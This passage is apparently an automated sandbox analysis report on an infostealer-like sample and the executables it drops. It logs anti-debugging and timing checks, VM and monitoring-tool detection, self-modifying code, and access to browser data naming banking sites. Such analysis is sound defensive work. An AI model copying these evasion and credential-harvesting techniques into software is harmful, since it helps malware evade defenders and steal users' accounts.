Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C9118 second address: 4C9126 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C9126 second address: 4C912A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 46C28F second address: 46C299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8428B8CB46h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 46C299 second address: 46C2C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jne 00007F8428CC3766h 0x00000010 jbe 00007F8428CC3766h 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007F8428CC3766h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 46C2C0 second address: 46C2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4D18AD second address: 4D18B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CEFA8F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CEFB54 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E95ABA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Special instruction interceptor: First address: 2EEB0B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Special instruction interceptor: First address: 4A19A6 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Special instruction interceptor: First address: 2EC66A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Special instruction interceptor: First address: 4C3D23 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Special instruction interceptor: First address: 4AE8BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1FEB0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3B19A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1FC66A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3D3D23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3BE8BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 442EFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Special instruction interceptor: First address: 115FA8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Special instruction interceptor: First address: 115FB54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Special instruction interceptor: First address: 1305ABA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Special instruction interceptor: First address: 9FDF17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Special instruction interceptor: First address: C3BAC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Special instruction interceptor: First address: A025A4 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5020000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5260000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5060000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5290000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 4D10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 5120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Memory allocated: 4E30000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

Code function: 22_2_04C60C6E rdtsc

22_2_04C60C6E

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 474
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 5020
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3619

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 1456	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3640	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2016	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2016	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2748	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1804	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3432	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6640	Thread sleep count: 58 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6640	Thread sleep time: -116058s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8556	Thread sleep count: 58 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8556	Thread sleep time: -116058s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6768	Thread sleep count: 474 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6768	Thread sleep time: -14220000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6976	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6976	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8688	Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep count: 5020 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep time: -10045020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8568	Thread sleep count: 51 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8568	Thread sleep time: -102051s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8564	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8564	Thread sleep time: -78039s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep count: 3619 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5680	Thread sleep time: -7241619s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe TID: 4000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe TID: 9200	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe TID: 8260	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CADC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CADC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000018.00000002.2703572214.000000000038C000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000019.00000002.5946604342.000000000038C000.00000040.00000001.01000000.0000000D.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2874229444.00000000012E4000.00000040.00000001.01000000.0000000E.sdmp, fde0e4bc1c.exe, 0000001D.00000002.3059030538.0000000000B88000.00000040.00000001.01000000.0000000F.sdmp, 8a46fa4b5e.exe, 0000001E.00000002.2995715438.00000000012E4000.00000040.00000001.01000000.0000000E.sdmp, fde0e4bc1c.exe, 0000001F.00000002.3151746064.0000000000B88000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 00000020.00000002.3281855469.0000000000B88000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: skotes.exe, 00000019.00000002.5957560093.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.00000000015F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.00000000015F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2667072868.0000000000844000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667072868.0000000000815000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C37000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2873497903.0000000000C58000.00000004.00000020.00020000.00000000.sdmp, 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2687094197.0000000023281000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: file.exe, 00000000.00000002.2687094197.0000000023281000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ath
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001BC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: 8a46fa4b5e.exe, 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: skotes.exe, 00000019.00000002.5957560093.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3582138880.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.3728547029.000000000162C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000003.4134320744.000000000162C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2667701242.0000000000E74000.00000040.00000001.01000000.00000003.sdmp, DocumentsKJECFHCBKK.exe, 00000016.00000002.2667570349.000000000047C000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2699151835.000000000038C000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000018.00000002.2703572214.000000000038C000.00000040.00000001.01000000.0000000D.sdmp, skotes.exe, 00000019.00000002.5946604342.000000000038C000.00000040.00000001.01000000.0000000D.sdmp, 8a46fa4b5e.exe, 0000001A.00000002.2874229444.00000000012E4000.00000040.00000001.01000000.0000000E.sdmp, fde0e4bc1c.exe, 0000001D.00000002.3059030538.0000000000B88000.00000040.00000001.01000000.0000000F.sdmp, 8a46fa4b5e.exe, 0000001E.00000002.2995715438.00000000012E4000.00000040.00000001.01000000.0000000E.sdmp, fde0e4bc1c.exe, 0000001F.00000002.3151746064.0000000000B88000.00000040.00000001.01000000.0000000F.sdmp, fde0e4bc1c.exe, 00000020.00000002.3281855469.0000000000B88000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

Code function: 22_2_04C604D2 Start: 04C604EF End: 04C604E9

22_2_04C604D2

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

Code function: 22_2_04C60C6E rdtsc

22_2_04C60C6E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB25FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB25FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CAC3480

Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002B652B mov eax, dword ptr fs:[00000030h]	22_2_002B652B
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	Code function: 22_2_002BA302 mov eax, dword ptr fs:[00000030h]	22_2_002BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001CA302 mov eax, dword ptr fs:[00000030h]	23_2_001CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001C652B mov eax, dword ptr fs:[00000030h]	23_2_001C652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001CA302 mov eax, dword ptr fs:[00000030h]	24_2_001CA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_001C652B mov eax, dword ptr fs:[00000030h]	24_2_001C652B

Source: C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe

Process token adjusted: Debug

